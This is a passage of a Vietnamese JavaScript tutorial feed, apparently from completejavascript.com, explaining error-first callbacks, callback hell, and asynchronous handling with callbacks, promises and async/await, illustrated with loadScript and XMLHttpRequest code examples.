class-name">Error</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Script load error for </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>src<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> document<span class="token punctuation">.</span>head<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>script<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Bây giờ hàm <code>loadScript</code> sẽ gọi <code>callback(null, script)</code> nếu tải thành công và gọi <code>callback(error)</code> nếu có lỗi.</p> <p>Cách sử dụng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"/my/script.js"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">error<span class="token punctuation">,</span> script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>error<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// xử lý lỗi</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// script được tải thành công</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ở đây, cách thức mà mình sử dụng <code>loadScript</code> khá phổ biến. Cách này được gọi là <strong>error-first callback</strong> - nghĩa là callback với việc kiểm tra lỗi trước.</p> <p>Quy ước là:</p> <ol> <li>Đối số đầu tiên của hàm <code>callback</code> được dành riêng cho một lỗi nếu nó xảy ra. Sau đó <code>callback(err)</code> được gọi.</li> <li>Đối số thứ hai (và những đối số tiếp theo nếu cần) là cho kết quả thành công. Sau đó <code>callback(null, result1, result2…)</code> được gọi.</li> </ol> <p>Vì vậy, hàm <code>callback</code> được sử dụng cho cả việc báo lỗi và chuyển lại kết quả.</p> <h2 id="vấn-đề-callback-hell" style="position:relative;"><a href="#v%E1%BA%A5n-%C4%91%E1%BB%81-callback-hell" aria-label="vấn đề callback hell permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vấn đề callback hell</h2> <p>Thoạt nhìn, cách làm trên có vẻ khả thi đối với việc lập trình không đồng bộ. Và thực sự là như vậy. Đối với một hoặc có thể hai lời gọi hàm lồng nhau, cách làm trên vẫn tốt.</p> <p>Nhưng với nhiều hành động không đồng bộ nối tiếp nhau, mình sẽ có đoạn code dạng như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"1.js"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">error<span class="token punctuation">,</span> script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>error<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">handleError</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// ...</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"2.js"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">error<span class="token punctuation">,</span> script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>error<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">handleError</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// ...</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"3.js"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">error<span class="token punctuation">,</span> script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>error<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">handleError</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// ...tiếp tục xử lý (*)</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đoạn code trên:</p> <ol> <li>Đầu tiên, tải <code>1.js</code>, sau đó nếu không có lỗi…</li> <li>Tải <code>2.js</code>, sau đó nếu không có lỗi…</li> <li>Tải <code>3.js</code>, sau đó nếu không có lỗi - làm điều gì đó khác <code>(*)</code>.</li> </ol> <p>Khi các lời gọi hàm trở nên lồng nhau nhiều hơn, cấu trúc code trở nên sâu hơn và ngày càng khó quản lý hơn.</p> <p>Đặc biệt, nếu bạn có đoạn code thực tế thay vì mã <code>...</code> như trên - đó có thể bao gồm nhiều <a href="/vong-lap-trong-javascript/">vòng lặp</a> hay <a href="/cau-truc-re-nhanh-trong-javascript/">câu lệnh điều kiện</a>, v.v.</p> <p>Đó chính là <strong>callback hell</strong> - làm cho đoạn code trở nên xấu và cực kỳ khó quản lý. Vì vậy, cách viết code như này là không thực sự tốt.</p> <p>Để khắc phục vấn đề trên, mình có thể tách logic trên thành các hàm độc lập như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"1.js"</span><span class="token punctuation">,</span> step1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">step1</span><span class="token punctuation">(</span><span class="token parameter">error<span class="token punctuation">,</span> script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>error<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">handleError</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// ...</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"2.js"</span><span class="token punctuation">,</span> step2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">step2</span><span class="token punctuation">(</span><span class="token parameter">error<span class="token punctuation">,</span> script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>error<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">handleError</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// ...</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"3.js"</span><span class="token punctuation">,</span> step3<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">step3</span><span class="token punctuation">(</span><span class="token parameter">error<span class="token punctuation">,</span> script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>error<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">handleError</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// ...tiếp tục xử lý (*)</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Với cách làm trên, rõ ràng kết quả thu được hoàn toàn tương tự nhưng không còn cấu trúc code lồng nhau thành nhiều tầng như trước.</p> <p>Tuy nhiên, có một vấn đề khác phát sinh. Đó là <strong>logic code bị xé nhỏ</strong>. Nghĩa là bạn phải di chuyển lên xuống nhiều để theo dõi và hiểu hết toàn bộ logic code.</p> <p>Ngoài ra, các hàm <code>step*</code> trên đều chỉ sử dụng một lần. Chúng được tạo ra chỉ để tránh <strong>callback hell</strong>. Nói cách khác, các hàm đó chỉ nên được sử dụng trong một chuỗi các hàm, chứ không nên gọi độc lập.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Callback trong JavaScript cũng khá tốt khi xử lý bất đồng bộ, nhưng chỉ nên sử dụng khi có một hoặc hai hành động bất đồng bộ lồng nhau.</p> <p>Trường hợp có nhiều hành động bất đồng bộ hơn thì bạn nên sử dụng các cách khác tốt hơn. Đó chính là: <strong>Promise</strong> hoặc <strong>Async/await</strong>.</p> <p>Tham khảo: <a href="https://javascript.info/callbacks">Introduction: callbacks</a></p>[email protected]<![CDATA[Xử lý bất đồng bộ với callback, promise, async/await]]><![CDATA[Khi lập trình JavaScript, bạn sẽ thường xuyên phải thực hiện các công việc mất thời gian như: request lên server, lấy dữ liệu từ database, đọc/ghi file,... Nếu bạn chỉ xử lý đồng…]]>https://completejavascript.com/xu-ly-bat-dong-bo-callback-promise-async-await/https://completejavascript.com/xu-ly-bat-dong-bo-callback-promise-async-await/<![CDATA[Async - Await]]><![CDATA[Callback]]><![CDATA[Promise]]>Fri, 07 Jul 2017 23:00:48 GMT<p>Khi lập trình JavaScript, bạn sẽ thường xuyên phải thực hiện các công việc mất thời gian như: request lên server, lấy dữ liệu từ <a href="/cai-dat-mongodb-tren-windows-moi-nhat/">database</a>, đọc/ghi file,... Nếu bạn chỉ xử lý đồng bộ thôi thì chắc chắn sẽ rất mất thời gian. Để giải quyết vấn đề này, JavaScript cung cấp một số công cụ hỗ trợ bạn <strong>xử lý bất đồng bộ</strong> rất tốt như sử dụng <a href="/callback-la-gi-callback-trong-javascript/">callback</a>, <a href="/tag/promise/"><strong>promise</strong></a> hay <strong>async/await</strong>.</p> <p>Trong bài viết này, mình sẽ cùng tìm hiểu xem xử lý bất đồng bộ là gì? Tại sao phải xử lý bất đồng bộ? Và các cách để xử lý bất đồng bộ trong JavaScript. Mời bạn theo dõi bài viết!</p> <h2 id="cơ-bản-về-xử-lý-bất-đồng-bộ" style="position:relative;"><a href="#c%C6%A1-b%E1%BA%A3n-v%E1%BB%81-x%E1%BB%AD-l%C3%BD-b%E1%BA%A5t-%C4%91%E1%BB%93ng-b%E1%BB%99" aria-label="cơ bản về xử lý bất đồng bộ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cơ bản về xử lý bất đồng bộ</h2> <p>Giả sử bạn có một nhiệm vụ bao gồm 2 công việc tốn thời gian, tạm gọi là A và B.</p> <h3 id="xử-lý-đồng-bộ" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-%C4%91%E1%BB%93ng-b%E1%BB%99" aria-label="xử lý đồng bộ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý đồng bộ</h3> <p>Đối với xử lý đồng bộ, bạn sẽ thực hiện công việc A; đợi A hoàn thành xong thì sẽ thực hiện B; rồi lại đợi B hoàn thành thì nhiệm vụ cuối cùng mới coi như xong.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 494px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 67.87878787878788%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAABQElEQVQoz6WSC2uDMBDH/f6fb9CHMNdVY6tto1GTXHKPEdsxW9jGuuMg8M/9kntl8g/LAOB0Pmutm6bpuq435odoZmHmBey9qkpVq6Io8nx7bJo//Gx96Ab3oIaIzbkPkZYiEpnR9sPkQ7zB7cXkRYnehWkKdorOMvihN9uiGvqBvIvOoXcCfhqnvChf1q8XY68lZEQMAUWkrtV6s9nt3jmZ+Fls22a1Wr3tdiHGGWCkRc0JntM7n9pKVUpV1rprnIhofVFVud/vx3G8itdHbzAS9xNAQIgcUAJyQI4kASWSREyOJBATZiEaG+5gByjCRIREzGKtVUodDse6rs0wMKdWpRtmIp483qX92FXErtO9MVpfnLsbBKdBfAVnQihET26YgBWwjHHO6tGW+/QtTBEAgvc+HZ8GAL/BTMmfSvsD3co13X1bSpkAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Xử lý đồng bộ trong javascript" title="Xử lý đồng bộ trong javascript" src="/static/fc69c8a6719116f9ab449f4bb3f8e162/7f4de/xu-ly-dong-bo-completejavascript.com_.png" srcset="/static/fc69c8a6719116f9ab449f4bb3f8e162/103f2/xu-ly-dong-bo-completejavascript.com_.png 165w, /static/fc69c8a6719116f9ab449f4bb3f8e162/748ba/xu-ly-dong-bo-completejavascript.com_.png 330w, /static/fc69c8a6719116f9ab449f4bb3f8e162/7f4de/xu-ly-dong-bo-completejavascript.com_.png 494w" sizes="(max-width: 494px) 100vw, 494px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Nghĩa là thời gian để hoàn thành nhiệm vụ là tổng của thời gian hoàn thành A và B. Hơn nữa, trong khoảng thời gian này bạn sẽ không thể thực hiện thêm 1 hành động nào khác (như bắt các <a href="/xu-ly-mot-event-javascript-co-ban/">sự kiện</a> với chuột và bàn phím của người dùng...). Điều này rõ ràng làm giảm hiệu năng và trải nghiệm người dùng đối với chương trình.</p> <h3 id="xử-lý-đa-luồng" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-%C4%91a-lu%E1%BB%93ng" aria-label="xử lý đa luồng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý đa luồng</h3> <p>Để khắc phục tình trạng này, các ngôn ngữ lập trình như C/C++, Java,... sẽ sử dụng <strong>cơ chế đa luồng (multi-thread)</strong>. Nghĩa là mỗi công việc tốn thời gian sẽ được thực hiện trên một thread riêng biệt mà không can thiệp vào thread chính. Bạn vẫn có thể thực hiện các công việc tốn thời gian mà vẫn có thể bắt các sự kiện ở thread chính.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 377px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 90.3030303030303%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAIAAADUsmlHAAAACXBIWXMAAAsTAAALEwEAmpwYAAABnklEQVQ4y5WTfW/aMBDG+f4fbRKaoCrd2EpH6QaBkAKxfb73yQllRQud9uj5I375+XJn38jd3czMLzK7Ht/WyN3btp1OJvP5ty+z+6/fH++m0/F4HELsD/oHrKoACVKKMaWUAKBpmoz4HjYbOKjApwjV/iSi7xf6nW3MT4vFbDar6r2Yu52T6lcLvFrX9/MfTX0wSBQix8ghcIwaYzhFIlZhJMkkA5Ez8SnAYHoJWbTMk2gEbiPUr6fmGCDTGf5AF5hF1/vw9HP36fPd5GGxfQ1nOALWh9Bv+guWS2RkZVExY1HtJgv8/Gs3fXg8NEfHzAkEzlYACJFS0gwQUkbuS3l9zzFv6iMTu4gN2UUQabhgrIasHyff/fYgLHqIpTK9iQXfTCwlT9UADHgbRi43iazqLlasXUBARpZjxHTO+Ro2M30rdWiPy+WyrndVtd5sNhng0i068DxVnNEFy4c7Ea5Wz9V2u9ttVy8v0MG32mPkTE7JcmtMLEV/XnbXM92cDPKjEpay52CMSAQAOWfolDthJ1UdglVdqFjF/1O/AQsqIKOREEHRAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Xử lý đa luồng trong c/c++, java" title="Xử lý đa luồng trong c/c++, java" src="/static/d2822f22bab3f127b149e6165e72d07f/fdd90/xu-ly-da-luong-completejavascript.com_.png" srcset="/static/d2822f22bab3f127b149e6165e72d07f/103f2/xu-ly-da-luong-completejavascript.com_.png 165w, /static/d2822f22bab3f127b149e6165e72d07f/748ba/xu-ly-da-luong-completejavascript.com_.png 330w, /static/d2822f22bab3f127b149e6165e72d07f/fdd90/xu-ly-da-luong-completejavascript.com_.png 377w" sizes="(max-width: 377px) 100vw, 377px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Với ví dụ trên, thời gian để hoàn thành nhiệm vụ sẽ chỉ bằng thời gian hoàn thành của A hoặc B. Cái nào thực hiện xong trước sẽ đợi cái còn lại hoàn thành thì nhiệm vụ sẽ kết thúc.</p> <h3 id="xử-lý-bất-đồng-bộ" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-b%E1%BA%A5t-%C4%91%E1%BB%93ng-b%E1%BB%99" aria-label="xử lý bất đồng bộ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý bất đồng bộ</h3> <p>Tuy nhiên, JavaScript lại là một câu chuyện khác. Hai nền tảng quan trọng với JavaScript (trình duyệt và <a href="/huong-dan-tim-hieu-node-js-co-ban/">Nodejs</a>) đều là <strong>single-thread</strong>. Chính vì vậy, bạn không thể xử lý đa luồng với JavaScript được mà phải sử dụng cơ chế <strong>xử lý bất đồng bộ</strong>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 422px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 75.15151515151516%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABrUlEQVQoz3VTi27iMBDk//+tpxMECtVBQ7gAJSFxQ2J73yeTQqsrHY2sla3xrHfXEzPTG0SVmVV13LQr7sF3TMxsm+ez+WK1Wi4Wi9XL6tfT03K53GzWWTbfrP88L7Ln5ep20d3pJlZVIv4gi/chAiAREhELMw8+PPSfsMi2rF6Lw263B4hmZErGaAwjlaIyCkZjCN7vDtWmONSuV9UkzsvTy2uZF6Vrm0vnfN8p453D4EOIwQdT8j4U5ds6/1u7XlRT2kOkAAxk+7KYzrLp9PelH+65BWQgAZLHBQPii4c+UnU+H45VuT9W5zYAReSIHICRBZAfF8zMInIfiNVYjNVIEuUasGhEHsUPnEcgSYBkFa9r6y5149quj9e0H1fbzIgfHJW7bZbN5vN50zSiKvKD2APLl3nS68va5nw+N3Vdt84hCWAqmH4X9wG7ASOyjwykiZweT2JAhmKuhwD8KRZOHFsVvjhfuq5tWuece38fho+GEetnq1QMvMXeGCf/jX7bNtttcTod8zx/O1VEhAlppQRmQqNoMBjB5Kcfo9cfhqP0BkxqTsNLYML/AGLgaWRgByXQAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Xử lý bất đồng bộ trong javascript" title="Xử lý bất đồng bộ trong javascript" src="/static/35e739394f3d9c8b76b1b371075a93cc/de25e/xu-ly-bat-dong-bo-don-luong-completejavascript.com_.png" srcset="/static/35e739394f3d9c8b76b1b371075a93cc/103f2/xu-ly-bat-dong-bo-don-luong-completejavascript.com_.png 165w, /static/35e739394f3d9c8b76b1b371075a93cc/748ba/xu-ly-bat-dong-bo-don-luong-completejavascript.com_.png 330w, /static/35e739394f3d9c8b76b1b371075a93cc/de25e/xu-ly-bat-dong-bo-don-luong-completejavascript.com_.png 422w" sizes="(max-width: 422px) 100vw, 422px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Với cách xử lý bất đồng bộ, khi A bắt đầu thực hiện, chương trình tiếp tục thực hiện B mà không đợi A kết thúc. Việc mà bạn cần làm ở đây là cung cấp một phương thức để chương trình thực hiện khi A hoặc B kết thúc.</p> <p>Cơ chế giúp bạn thực hiện việc này trong JavaScript có thể là sử dụng <strong>Callback</strong>, <strong>Promise</strong> hoặc <strong>Async/await</strong>.</p> <h2 id="sử-dụng-callback-để-xử-lý-bất-đồng-bộ" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-callback-%C4%91%E1%BB%83-x%E1%BB%AD-l%C3%BD-b%E1%BA%A5t-%C4%91%E1%BB%93ng-b%E1%BB%99" aria-label="sử dụng callback để xử lý bất đồng bộ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Callback để xử lý bất đồng bộ</h2> <p><strong>Sử dụng Callback</strong> có thể nói là cách đầu tiên và dễ nhất giúp bạn xử lý bất đồng bộ. Khi định nghĩa một <a href="/ham-la-gi-ham-trong-javascript/">function</a> thực hiện một nhiệm vụ tốn thời gian, bạn cần truyền thêm tham số vào hàm - đóng vai trò là <strong>hàm callback</strong>.</p> <p>Khi hành động bắt đầu, rồi khi nó kết thúc, hàm callback sẽ được gọi ngay sau đó.</p> <p>Ví dụ dưới đây sẽ thực hiện một <strong>GET</strong> <a href="/xmlhttprequest-tao-http-request-den-server-trong-javascript/">request</a>. Thông thường, việc này sẽ tốn thời gian (ít hay nhiều tuỳ thuộc vào tốc độ mạng):</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">doAsync</span><span class="token punctuation">(</span><span class="token parameter">url<span class="token punctuation">,</span> onSuccess<span class="token punctuation">,</span> onError</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> xhr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">XMLHttpRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> xhr<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"GET"</span><span class="token punctuation">,</span> url<span class="token punctuation">)</span><span class="token punctuation">;</span> xhr<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">onSuccess</span><span class="token punctuation">(</span>xhr<span class="token punctuation">.</span>responseText<span class="token punctuation">)</span><span class="token punctuation">;</span> xhr<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">onError</span><span class="token punctuation">(</span>xhr<span class="token punctuation">.</span>statusText<span class="token punctuation">)</span><span class="token punctuation">;</span> xhr<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Usage:</span> <span class="token function">doAsync</span><span class="token punctuation">(</span> <span class="token string">"https://something.com"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// 'value' is corresponding with 'xhr.responseText'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// 'error' is corresponding with 'xhr.statusText'</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ở đây, hàm <code>doAsync</code> là một hàm bất đồng bộ với 2 hàm callback là: <code>onSuccess</code> và <code>onError</code>. Khi request trên thành công thì hàm <code>onSuccess</code> sẽ được gọi, ngược lại hàm <code>onError</code> sẽ được gọi. Khá dễ hiểu và dễ triển khai phải không?</p> <p>Tuy nhiên, thử tưởng tượng bạn phải thực hiện 2 request liên tiếp, với request thứ 2 chỉ thực hiện khi request thứ nhất thực hiện xong:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Usage:</span> <span class="token function">doAsync</span><span class="token punctuation">(</span> <span class="token string">"https://something.com"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// 'value' is corresponding with 'xhr.responseText' (1)</span> <span class="token function">doAsync</span><span class="token punctuation">(</span> <span class="token string">"https://other.com"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// 'value' is corresponding with 'xhr.responseText' (2)</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token 